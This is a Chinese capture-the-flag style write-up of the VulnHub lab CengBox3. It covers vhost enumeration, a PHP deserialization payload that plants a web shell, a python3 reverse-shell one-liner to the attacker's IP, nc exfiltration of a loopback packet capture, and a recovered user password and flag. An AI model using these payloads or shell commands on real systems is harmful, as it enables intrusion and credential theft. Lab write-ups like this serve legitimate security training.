vulnhub之CengBox3

目录

信息搜集

扫描网段发现存活主机

 扫描IP地址发现开启端口及服务

访问网站

扫描网站

修改host文件并访问该域名

漏洞利用

反弹shell

查看目标主机上是否有python环境

使用python3语句反弹shell

 在kali段监听端口

 执行反弹语句

getshell

 寻找flag

提权

 介绍两个脚本

linpeas.sh

pspy64

将脚本下载到目标靶机

在kali上起一个http服务

在目标主机上下载

 给脚本一个执行权限并运行该脚本

查看opt文件下login.py文件

 抓取环回接口中的数据并分析

 使用nc工具将该文件回转到kali上并分析

 使用wireshark分析该数据包

登录eric并找到flag文件

总结

参考文章


信息搜集

扫描网段发现存活主机

 扫描IP地址发现开启端口及服务

 这边可以看到虽然有ssh服务但是是关闭状态,只有http和https

访问网站

 除了一个输入框可以输入以外并没有找到别的东西

 https是一样的网站没有什么不同

扫描网站

dirsearch -u http://192.168.179.156/

查看后没有发现有用信息,感觉很奇怪。不应该啊 转过头重新去看扫描网站的相信信息,随即发现第一次没有发现的重点

 这边的意思是需要将该域名与IP地址访问然后访问该的域名:等于一个IP绑定多个域名通过不同的host头部来决定发给哪个网站

修改host文件并访问该域名

vim /etc/hosts

绑定IP与域名

 访问该域名

 仍然是和主站一样的页面没有什么不同

扫描该域名

dirsearch -u http://ceng-company.vm/

 还是一样的结果。但是就在想会不会还绑定了隐藏的域名

尝试爆破旁站

gobuster vhost -k -u https://ceng-company.vm/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
####
gobuster 是一款基于go语言编写的爆破工具,可爆破的对象包括

1、目标站点中的URI(目录或文件);

2、DNS子域名(支持通配符);

3、目标Web服务器的虚拟主机名(VHost);

发现新的域名:dev.ceng-company.vm

将该域名与IP地址保定并访问,然后扫描该域名

vim /etc/hosts

 

 访问该域名

ohhhhhhh,终于找到了,这登录进去应该就该网站的后台了

 这边应该只能是爆破了,我尝试了sqlmap跑了一下但是没跑出来(也可能是我个人问题,别的师傅们好像也有跑出来的),回过头在仔细去原来的页面上搜集一波信息

 这两位好像比别人多了个连接点进去看看

 可以尝试猜解组合该用户名为:ElizabethSky@ceng-company.vm

密码则爬取当前页面的敏感信息为字典

cewl  https://www.reddit.com/user/ElizabethSky_ > /tmp/user.txt
#####
用户名:elizabethsky@ceng-company.vm
密码:walnuttree

网络原因一直爬不到我也不知道为什么。但是我保证我是成功过的,然后使用爆破工具去暴力破解(bp,九头蛇都可),最好将用户名也整一个字典,在位置的情况下多一种尝试就多一种可能性,什么大小写啊之类的东西都要考虑到,但是我这边是没有办法演示了

好的现在我们成功快进到登录后台以后的界面

 

点击add随便输入点什么

 

 点击here

 经过反复的查看,再回到

 

首先最下面哪个是反序列化函数,然后最上面哪个红框是一个魔法函数意思就是执行完反序列化之后执行该函数内的内容

那就很明了了,就是反序列化漏洞呗

 在这个页面中的url地址栏中的后面是有序列化语句的只不过被url编码过了

O%3A4%3A"Poem"%3A3%3A{s%3A8%3A"poemName"%3Bs%3A3%3A"ada"%3Bs%3A10%3A"isPoetrist"%3BO%3A8%3A"poemFile"%3A2%3A{s%3A8%3A"filename"%3Bs%3A22%3A"%2Fvar%2Fwww%2Fhtml%2Fpoem.txt"%3Bs%3A8%3A"poemName"%3Bs%3A3%3A"ada"%3B}s%3A9%3A"poemLines"%3Bs%3A5%3A"adadd"%3B}
####
url解码后
O:4:"Poem":3:{s:8:"poemName";s:3:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:3:"ada";}s:9:"poemLines";s:5:"adadd";}
构造payload
O:4:"Poem":3:{s:8:"poemName";s:4:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.php";s:8:"poemName";s:47:"<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>";}s:9:"poemLines";s:4:"adadd";}
####
再经过url编码
O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A4%3A%22test%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B%27cmd%27%5D.%27%202%3E%261%27)%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A4%3A%22tets%22%3B%7D
####
最后拼接到url中
http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A4%3A%22test%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B%27cmd%27%5D.%27%202%3E%261%27)%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A4%3A%22tets%22%3B%7D
###访问页面
http://ceng-company.vm/poem.php?cmd=id

 成功执行

漏洞利用

反弹shell

查看目标主机上是否有python环境

http://ceng-company.vm/poem.php?cmd=which%20python
http://ceng-company.vm/poem.php?cmd=which%20python3

 

存在python3环境

使用python3语句反弹shell

 在kali段监听端口

nc lvnp 1234

 执行反弹语句

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.179.145",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
####
拼接到url
http://ceng-company.vm/poem.php?cmd=python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.179.145%22,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27

getshell

 寻找flag

唯一一个账号还进不去。只能考虑提权了

提权

 介绍两个脚本

linpeas.sh

下载地址:https://github.com/carlospolop/PEASS-ng

简单介绍就是可以枚举linux操作系统几乎所有的可提权项,非常好用

pspy64

下载地址:https://github.com/DominicBreuker/pspy/releases

pspy是一个命令行工具,它可以在没有root权限的情况先,监视linux进程

将脚本下载到目标靶机

在kali上起一个http服务

python -m SimpleHTTPServer 8000

在目标主机上下载

wget http://192.168.179.145:8000/linpeas.sh
wget http://192.168.179.145:8000/pspy64

 给脚本一个执行权限并运行该脚本

chmod +x linpeas.sh
./linpeas.sh

 

chmod +x pspy64
./pspy64

查看opt文件下login.py文件

cd /opt
ls -al

 抓取环回接口中的数据并分析

tcpdump:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。

tcpdump -i lo -w cengbox.pcapng
#####
抓取第一个环回接口中的数据包并生成为cengbox.pcapng文件

 使用nc工具将该文件回转到kali上并分析

在kali监听该文件

 nc -lvnp 1235 > cengbox.pcapng

在目标靶机上传到该IP

nc 192.168.179.145 1235 < cengbox.pcapng

 使用wireshark分析该数据包

 

 发现eric的账号密码

用户名:eric 
密码:3ricThompson*Covid19
###
需要将密码中的%2A转换为*号

登录eric并找到flag文件

su eric
3ricThompson*Covid19
cd /home
cd eric
ls -al
cat user.txt
#########
flag(6744e509eec439570c2d6df947526749)

总结

就先到这里吧,这个靶机我没有做完,这边后续还有一个提到root权限才能得到的flag。我这边因为环境原因后续的一些操作做不了所以就先到这吧。这个靶机感觉还挺难的好多东西都是第一次接触,比如说一个IP绑定多个域名从而可以访问到不同的网站,还有反序列化漏洞感觉经过这次练习就理解的更深刻了,后续提权是重点,学习到了两个非常厉害的脚本,还有一种之前没有尝试过的提权思路,总之收获还是挺多的

参考文章

https://www.youtube.com/watch?v=J3BKFBh0NsY

https://securitymv.medium.com/cengbox3-writeup-972a1de556d5

最后推荐大家去看视频,视频比较详细,每一步操作都不会拉下更便于理解

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值